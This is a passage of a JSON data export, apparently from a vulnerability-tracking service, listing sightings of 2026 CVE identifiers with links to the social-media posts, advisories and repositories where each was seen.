"creation_timestamp": "2026-01-30T18:00:07.985383Z"}, {"uuid": "58806a57-8760-4326-bb5b-1002a63ae77e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24513", "type": "seen", "source": "https://bsky.app/profile/checkmarxzero.bsky.social/post/3me2v74itiw2w", "content": "", "creation_timestamp": "2026-02-04T22:08:03.803167Z"}, {"uuid": "a35dabbf-1092-4354-9fa7-a73d13ae33dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24300", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116022231087463563", "content": "", "creation_timestamp": "2026-02-06T06:19:11.167624Z"}, {"uuid": "dfec523f-211c-4b65-95ae-2cb0353e646b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/checkmarxzero.bsky.social/post/3me2v74itiw2w", "content": "", "creation_timestamp": "2026-02-04T22:08:03.721974Z"}, {"uuid": "f6d9746d-2cce-42b7-889c-d7335b53918b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24514", "type": "seen", "source": "https://bsky.app/profile/checkmarxzero.bsky.social/post/3me2v74itiw2w", "content": "", "creation_timestamp": "2026-02-04T22:08:03.890322Z"}, {"uuid": "04547696-e7fb-4fe2-a0aa-9cfb88a72cc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3men25qcj7k2w", "content": "", "creation_timestamp": "2026-02-12T03:24:46.012540Z"}, {"uuid": "c45b954b-1e20-4438-a3df-7b1e3935ae0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24848", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgbbsk4sbr2s", "content": "", "creation_timestamp": "2026-03-04T22:00:03.969189Z"}, {"uuid": "536990dd-5a16-456e-9967-215f2043398f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24858", "type": "seen", "source": "https://infosec.exchange/users/cjust/statuses/115980315245013204", "content": "", "creation_timestamp": "2026-01-29T20:39:26.147103Z"}, {"uuid": "cfe35293-f4f7-4402-9d55-29a27f82c77f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/checkmarxzero.bsky.social/post/3me2v74y4r62w", "content": "", "creation_timestamp": "2026-02-04T22:08:04.625212Z"}, {"uuid": "01618e30-2e80-447e-8f97-f582dcfd333a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24514", "type": "seen", "source": "https://bsky.app/profile/checkmarxzero.bsky.social/post/3me2v74y4r62w", "content": "", "creation_timestamp": "2026-02-04T22:08:04.716299Z"}, {"uuid": "f8d54123-d0d8-462b-a01c-81ea8e2058fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/ponceto91.bsky.social/post/3me6gfkes3s2c", "content": "", "creation_timestamp": "2026-02-06T07:53:57.068599Z"}, {"uuid": "0b74f9de-1096-4b84-be83-26a14b82a625", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2441", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfagxpir6m2s", "content": "", "creation_timestamp": "2026-02-19T20:34:32.493923Z"}, {"uuid": "437ec1d8-89a2-45f6-b5ba-d137a31f8e51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24455", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfcodqya6a2n", "content": "", "creation_timestamp": "2026-02-20T17:51:52.168264Z"}, {"uuid": "78495e89-8dda-4929-bc61-f4e1209cdef1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24294", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "1b754bed-2509-4130-b293-6e6e0816e568", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24855", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdnvsquj5d2r", "content": "", "creation_timestamp": "2026-01-30T18:14:25.365284Z"}, {"uuid": "90ba0e25-5825-481b-8a30-54bf3b1349bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24513", "type": "seen", "source": "https://bsky.app/profile/checkmarxzero.bsky.social/post/3me2v755nsu26", "content": "", "creation_timestamp": "2026-02-04T22:08:05.239562Z"}, {"uuid": "72966d8b-a769-4c91-a24b-1c8cce5de30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3me6gnwkoix2z", "content": "", "creation_timestamp": "2026-02-06T07:58:33.186128Z"}, {"uuid": "11ed0dbc-e2cf-48b3-a11b-02e453b1e7e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/allsafeus.bsky.social/post/3medroxrxjn2m", "content": "", "creation_timestamp": "2026-02-08T10:59:18.002645Z"}, {"uuid": "279f0b81-c7f8-4d0f-922c-5580c5eca0c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24763", "type": "seen", "source": "https://gist.github.com/alon710/da71e1b21c019ed67ddac780407f1bdf", "content": "", "creation_timestamp": "2026-02-03T08:50:51.000000Z"}, {"uuid": "0f574431-6382-4eaf-83bf-b7707902437c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24926", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116022814553754757", "content": "", "creation_timestamp": "2026-02-06T08:47:46.941510Z"}, {"uuid": "7a405d4b-49b8-4992-857d-b70e6e884f7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24790", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfcohgsska26", "content": "", "creation_timestamp": "2026-02-20T17:53:56.166962Z"}, {"uuid": "bce966cf-5b97-48d3-824a-96fd110b6a3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24663", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfsztxuz7o2h", "content": "", "creation_timestamp": "2026-02-27T06:00:23.739989Z"}, {"uuid": "e446264b-8d21-42eb-8083-15fb3fe5626c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2441", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mffssahnbu2e", "content": "", "creation_timestamp": "2026-02-21T23:49:32.917050Z"}, {"uuid": "e7e7ec94-8815-4098-80bc-d84ddf1cbbdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24689", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfszu7rmlx2d", "content": "", "creation_timestamp": "2026-02-27T06:00:32.127739Z"}, {"uuid": "9528f04c-3d22-42a1-8294-37ff1db62f78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24414", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdlooor4wb2m", "content": "", "creation_timestamp": "2026-01-29T21:01:33.306571Z"}, {"uuid": "14495e65-12ae-4867-a45e-714392d3b932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24926", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me6l34eepx27", "content": "", "creation_timestamp": "2026-02-06T09:17:30.935637Z"}, {"uuid": "15ed4673-9c6b-41d0-995f-182c5f43ee1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mfahr2bbik2w", "content": "", "creation_timestamp": "2026-02-19T20:48:43.596623Z"}, {"uuid": "f4c9049d-fd1a-425f-ad02-a6915f944121", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "MISP/a1f6b4be-096d-462b-b40a-faf652ea3a09", "content": "", "creation_timestamp": "2026-02-03T07:36:41.000000Z"}, {"uuid": "43330608-9eb5-45e9-bb79-7e016d942862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24930", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me6l3dlmwf2o", "content": "", "creation_timestamp": "2026-02-06T09:17:37.964937Z"}, {"uuid": "aacbdbc6-7bc1-4866-89ab-424e124cf1a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2448", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mg5ajgyj4v2c", "content": "", "creation_timestamp": "2026-03-03T07:26:23.797953Z"}, {"uuid": "96736e3f-62e7-4fde-bdf5-245a2d51fe59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24881", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3mdjfjil5722l", "content": "", "creation_timestamp": "2026-01-28T23:12:19.124778Z"}, {"uuid": "a4984058-067f-4844-a540-87ea8a4a0b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24936", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mdwzvbhz6k2z", "content": "", "creation_timestamp": "2026-02-03T09:21:34.605574Z"}, {"uuid": "4a69d460-eee8-4445-839d-0246e6a3b513", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24680", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3mfprzaawqp2h", "content": "", "creation_timestamp": "2026-02-25T23:02:10.531370Z"}, {"uuid": "1cc14dee-a98a-4afc-bea1-6d39274a41a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24290", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "75527e61-a964-402c-88cf-ba4f89c55b78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24882", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3mdjfjil5722l", "content": "", "creation_timestamp": "2026-01-28T23:12:19.228346Z"}, {"uuid": "f6eae85b-fb48-4145-bbb9-fbfc4ef35ddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24936", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mdwzvehhuk2z", "content": "", "creation_timestamp": "2026-02-03T09:21:35.154524Z"}, {"uuid": "8e824a16-8aab-4fab-9b75-92a36a66dbe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/telnet/gnu_inetutils_auth_bypass.rb", "content": "", "creation_timestamp": "2026-02-11T19:22:12.000000Z"}, {"uuid": "3485b456-1346-487c-adfb-2521ba737e72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2447", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mfahvwicak2w", "content": "", "creation_timestamp": "2026-02-19T20:51:26.514980Z"}, {"uuid": "daea30f6-a806-46d7-8eb7-208cb0adb0c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24891", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfcqltw7ab2h", "content": "", "creation_timestamp": "2026-02-20T18:32:11.444033Z"}, {"uuid": "a1728c70-0d0b-42a9-8bde-7055f0e29611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2448", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mg5akgpvyx25", "content": "", "creation_timestamp": "2026-03-03T07:26:57.152869Z"}, {"uuid": "8634fc83-7d7b-43c4-bb65-dd380977ebf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24883", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3mdjfjil5722l", "content": "", "creation_timestamp": "2026-01-28T23:12:19.313963Z"}, {"uuid": "0cddd6d6-a184-49b5-af0a-5ff7ef37232c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24936", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mdwzvi6hic2z", "content": "", "creation_timestamp": "2026-02-03T09:21:35.684239Z"}, {"uuid": "952bee9f-65d6-4fa7-90d8-bb6c374ecb53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24308", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mgi6ihma5b2w", "content": "", "creation_timestamp": "2026-03-07T15:49:20.115617Z"}, {"uuid": "fbc1b57b-2c7b-4f43-9b95-26e23878e174", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24857", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdjftxqk3w2n", "content": "", "creation_timestamp": "2026-01-28T23:18:08.075254Z"}, {"uuid": "6dc050ea-5e4f-47bd-8a58-360591db8340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24897", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdjfzww6iw2h", "content": "", "creation_timestamp": "2026-01-28T23:21:27.733034Z"}, {"uuid": "6e57752c-2424-4c6d-b219-0f55a49fb36f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mffzcstx5226", "content": "", "creation_timestamp": "2026-02-22T01:46:13.615471Z"}, {"uuid": "52ee7a80-f0ce-416f-8b31-ec7501d1a6ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mdjgbuyosv2s", "content": "", "creation_timestamp": "2026-01-28T23:25:54.140456Z"}, {"uuid": "66807f9e-bfb1-4ba8-9315-e03c4cd21e9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mfg2cbijuk26", "content": "", "creation_timestamp": "2026-02-22T02:03:50.625301Z"}, {"uuid": "4bcd4ed2-c22a-4a95-a9fb-766de4d50512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24888", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdjgidelic2h", "content": "", "creation_timestamp": "2026-01-28T23:29:30.479167Z"}, {"uuid": "3b71cf15-d4d8-4f9a-a164-47c32636e989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24149", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdy6q7myap27", "content": "", "creation_timestamp": "2026-02-03T20:20:41.688076Z"}, {"uuid": "97f62059-dcb9-4b66-8c28-bd278be9baec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116166775086265597", "content": "", "creation_timestamp": "2026-03-03T18:58:41.059998Z"}, {"uuid": "58f023b2-358b-4ccd-941a-457f13ea13ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://swecyb.com/ap/users/116080658609901341/statuses/116205179719980339", "content": "", "creation_timestamp": "2026-03-10T13:46:18.445525Z"}, {"uuid": "9c140ef0-d012-4a95-b461-5c7b415700cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24295", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "03ce508d-20bd-492d-96ba-ebc94d06b496", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24889", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdjgrbuekb2c", "content": "", "creation_timestamp": "2026-01-28T23:34:30.711215Z"}, {"uuid": "cbaf6854-c741-4a2b-91c3-afd16792822f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24296", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "393e1402-cc97-4d53-a351-31663f67ebf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24856", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdjh2abwr523", "content": "", "creation_timestamp": "2026-01-28T23:39:31.303303Z"}, {"uuid": "73e1f832-52b6-4536-9522-4d07fa55d886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfg3oqfvk72w", "content": "", "creation_timestamp": "2026-02-22T02:28:38.422161Z"}, {"uuid": "1aaeb959-d72e-4292-8e62-a25df2e59b45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24478", "type": "seen", "source": "https://gist.github.com/YLChen-007/0604d17e830a44b5cb80bbcb021741d3", "content": "", "creation_timestamp": "2026-02-01T12:54:59.000000Z"}, {"uuid": "74b57b9a-f724-48da-9172-e55bd2989356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mdloqc4ik72i", "content": "", "creation_timestamp": "2026-01-29T21:02:33.940926Z"}, {"uuid": "0413314c-2214-4a21-a886-a1a8b1f37417", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24149", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdy6rl63zs2g", "content": "", "creation_timestamp": "2026-02-03T20:21:27.127450Z"}, {"uuid": "fb377973-c55e-46d9-a956-0f98232eb619", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24950", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfcupluc4x26", "content": "", "creation_timestamp": "2026-02-20T19:45:52.261642Z"}, {"uuid": "7f63f43b-a495-42d9-9d68-e802b4f267a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24514", "type": "seen", "source": "https://bsky.app/profile/kubernetes.dev/post/3me2yimvyiy27", "content": "", "creation_timestamp": "2026-02-04T23:07:04.187734Z"}, {"uuid": "05d50984-5c82-43e0-b7e2-57ca21f0fd72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24959", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfcuptbczb2n", "content": "", "creation_timestamp": "2026-02-20T19:45:59.781419Z"}, {"uuid": "af554810-e659-4075-810f-ecad051ce105", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24897", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdji46cqyb2h", "content": "", "creation_timestamp": "2026-01-28T23:58:30.447125Z"}, {"uuid": "d3c75e8a-e4fa-4e25-81e4-b2bf680e9385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24731", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mft56xqued2u", "content": "", "creation_timestamp": "2026-02-27T07:00:14.054594Z"}, {"uuid": "b0bf592b-9ebd-47f6-8f20-c94dbf055cb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/kubernetes.io/post/3mdyaickfas2a", "content": "", "creation_timestamp": "2026-02-03T20:52:04.619300Z"}, {"uuid": "7d80e938-3a3c-496f-881e-31efc72e07bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2447", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mfcvj4muei2q", "content": "", "creation_timestamp": "2026-02-20T20:00:08.332012Z"}, {"uuid": "43e59c87-26ed-4e11-9f19-94d738e19b05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24898", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgbf6ahybj24", "content": "", "creation_timestamp": "2026-03-04T23:00:15.205081Z"}, {"uuid": "8917136d-bbf0-448e-a93a-1eb8b0e6a0ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mdjkpfigmr2r", "content": "", "creation_timestamp": "2026-01-29T00:45:03.947319Z"}, {"uuid": "e2226fbe-b6cf-4d56-8dee-946198fbd62a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mf23gvj4qgz2", "content": "", "creation_timestamp": "2026-02-17T07:52:21.373761Z"}, {"uuid": "851642a1-8d82-4ada-875f-2004ccc2c5ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/empressbat.bsky.social/post/3mdjl6omkhk2k", "content": "", "creation_timestamp": "2026-01-29T00:53:39.317426Z"}, {"uuid": "881853da-5a3f-4022-b973-ea4328d30213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3mf25ku7di223", "content": "", "creation_timestamp": "2026-02-17T08:30:20.668120Z"}, {"uuid": "698d6902-53ec-4174-9a68-f8a5ca39f73c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3meecp5mbm22w", "content": "", "creation_timestamp": "2026-02-08T16:03:43.144964Z"}, {"uuid": "361fbc33-00e1-4469-91a4-8dd6fe964e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24128", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mdyb3paipn2c", "content": "", "creation_timestamp": "2026-02-03T21:02:57.544759Z"}, {"uuid": "6501cd78-2802-4ec8-a2b5-15bb4567211e", 